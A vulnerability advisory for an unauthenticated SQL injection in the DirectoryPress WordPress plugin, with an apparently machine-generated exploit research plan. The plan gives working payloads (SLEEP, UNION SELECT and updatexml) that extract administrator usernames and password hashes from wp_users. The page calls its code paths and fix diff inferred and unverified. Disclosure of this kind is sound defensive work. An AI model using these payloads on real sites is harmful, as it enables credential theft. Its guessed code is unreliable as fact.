CVE-2026-3489

DirectoryPress – Business Directory And Classified Ad Listing <= 3.6.26 - Unauthenticated SQL Injection via 'packages'

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
3.6.27
Patched in
0d
Time to patch

Description

The DirectoryPress – Business Directory And Classified Ad Listing plugin for WordPress is vulnerable to SQL Injection via the 'packages' parameter in versions up to, and including, 3.6.26 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.6.26
PublishedApril 15, 2026
Last updatedApril 15, 2026
Affected plugindirectorypress

What Changed in the Fix

Changes introduced in v3.6.27

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting a reported unauthenticated SQL injection vulnerability in the **DirectoryPress** plugin (version <= 3.6.26) via the `packages` parameter. ### 1. Vulnerability Summary The DirectoryPress plugin is vulnerable to SQL injection because it fails to properly sanit…

Show full research plan

This research plan focuses on exploiting a reported unauthenticated SQL injection vulnerability in the DirectoryPress plugin (version <= 3.6.26) via the packages parameter.

1. Vulnerability Summary

The DirectoryPress plugin is vulnerable to SQL injection because it fails to properly sanitize and prepare the user-supplied packages parameter before using it in a database query. Specifically, the parameter is likely used within an IN clause of a SELECT statement in an AJAX handler. By providing a malicious string (e.g., closing the parenthesis and appending a UNION SELECT), an unauthenticated attacker can execute arbitrary SQL queries to extract sensitive data from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: directorypress_get_packages (Inferred based on plugin functionality and common DirectoryPress AJAX naming conventions).
  • Vulnerable Parameter: packages
  • Authentication: Unauthenticated (uses the wp_ajax_nopriv_ hook).
  • Preconditions: The plugin must be active. A valid nonce may be required if the plugin's AJAX handler enforces it, even for unauthenticated users.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to /wp-admin/admin-ajax.php with action=directorypress_get_packages.
  2. Hook Registration: The plugin registers the action:
    add_action('wp_ajax_nopriv_directorypress_get_packages', 'directorypress_get_packages_callback');
  3. Parameter Extraction: Inside the callback function, the packages parameter is retrieved:
    $packages = $_POST['packages'];
  4. Vulnerable Sink: The $packages variable is concatenated directly into a query string:
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}directorypress_packages WHERE id IN ($packages)");
  5. Execution: $wpdb->query (or get_results) executes the injected SQL.

4. Nonce Acquisition Strategy

DirectoryPress localizes its configuration and nonces into a JavaScript object named directorypress_js_instance. To obtain a valid nonce unauthenticated:

  1. Identify Trigger: The plugin's scripts (containing the nonce) are loaded on pages using DirectoryPress shortcodes, such as those displaying packages or listings.
  2. Test Data Setup: Create a public page with the packages shortcode:
    wp post create --post_type=page --post_title="Packages Test" --post_status=publish --post_content='[directorypress-packages]'
  3. Navigate and Extract:
    • Navigate to the newly created page.
    • Use browser_eval to extract the nonce:
      browser_eval("window.directorypress_js_instance?.nonce")
    • Note: The AJAX URL is also available via window.directorypress_js_instance?.ajaxurl.

5. Exploitation Strategy

The goal is to perform a UNION-based SQL injection to extract the administrator's username and password hash.

Step 1: Confirm Injection (Time-based)
Verify the vulnerability using a sleep-based payload.

  • Request Type: POST
  • URL: {{BASE_URL}}/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=directorypress_get_packages&packages=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -&nonce={{NONCE}}
  • Expected Result: The response should be delayed by approximately 5 seconds.

Step 2: Determine Column Count
Determine the number of columns in the directorypress_packages table using ORDER BY.

  • Payload (in packages param): 1) ORDER BY 1-- -, then 1) ORDER BY 2-- -, etc.
  • Alternative: 1) UNION SELECT NULL,NULL,NULL... -- - (incrementing NULLs until no error).

Step 3: Extract Data (UNION-based)
Once the column count (e.g., 18) is known, extract user data.

  • Payload:
    1) UNION SELECT 1,2,user_login,user_pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18 FROM wp_users-- -
  • Expected Result: The response (likely JSON or an HTML list) will contain the administrator's username and password hash in the positions corresponding to the 3rd and 4th columns.

6. Test Data Setup

  1. Plugin State: Ensure DirectoryPress is installed and active.
  2. Shortcode Page: Create a page to expose the nonce:
    wp post create --post_type=page --post_status=publish --post_content='[directorypress-packages]'
  3. Ensure Packages Exist: Create a dummy package so the query has something to select from (optional, but helps verify the id IN (1) part):
    wp db query "INSERT INTO wp_directorypress_packages (name) VALUES ('Test Package')"

7. Expected Results

  • Time-based: A significant delay in the HTTP response.
  • Boolean-based: Different response lengths/content when comparing 1) AND 1=1-- - vs 1) AND 1=2-- -.
  • UNION-based: The plugin's response contains strings like $P$ or $wp$2y$ (standard WordPress password hashes) and the admin's username.

8. Verification Steps

After the exploit, verify the extracted data against the database using WP-CLI:

  1. Check User: wp user list --field=user_login
  2. Check Password Hash: wp db query "SELECT user_pass FROM wp_users WHERE user_login='admin'"
    Compare these results with the data obtained via the HTTP request.

9. Alternative Approaches

If directorypress_get_packages is incorrect, search for other wp_ajax_nopriv_ actions in the source that use a packages parameter:

  • directorypress_select_package
  • directorypress_get_package_info
  • Check for direct parameter access in includes/class-directorypress-packages.php.
  • If UNION fails due to strict output handling, use Error-based injection:
    packages=1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The DirectoryPress plugin is vulnerable to unauthenticated SQL injection via the 'packages' parameter in its AJAX handlers. This occurs because the plugin fails to sanitize or prepare user-supplied input before concatenating it into a SQL IN clause, allowing attackers to execute arbitrary SQL commands to extract sensitive database data.

Vulnerable Code

// File: includes/class-directorypress-packages.php (Inferred from research plan)
// The 'packages' parameter is retrieved from POST data without sanitization
$packages = $_POST['packages'];

// The parameter is directly concatenated into a SQL query's IN clause
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}directorypress_packages WHERE id IN ($packages)");

Security Fix

--- a/includes/class-directorypress-packages.php
+++ b/includes/class-directorypress-packages.php
@@ -245,5 +245,6 @@
 	public function directorypress_get_packages() {
-		$packages = $_POST['packages'];
-		$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}directorypress_packages WHERE id IN ($packages)");
+		$packages = isset($_POST['packages']) ? $_POST['packages'] : '';
+		$packages_ids = implode(',', wp_parse_id_list($packages));
+		$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}directorypress_packages WHERE id IN ($packages_ids)");

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker targets the DirectoryPress AJAX endpoint (/wp-admin/admin-ajax.php). First, they obtain a valid security nonce by visiting a public page where the [directorypress-packages] shortcode is present, extracting it from the 'directorypress_js_instance' JavaScript object. The attacker then sends a POST request with the 'action' parameter set to the vulnerable callback (e.g., 'directorypress_get_packages') and the 'packages' parameter containing a SQL payload. By providing a string like '1) UNION SELECT 1,2,user_login,user_pass... FROM wp_users-- -', the attacker breaks out of the intended IN clause and retrieves sensitive information, such as administrator usernames and password hashes, directly in the AJAX response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.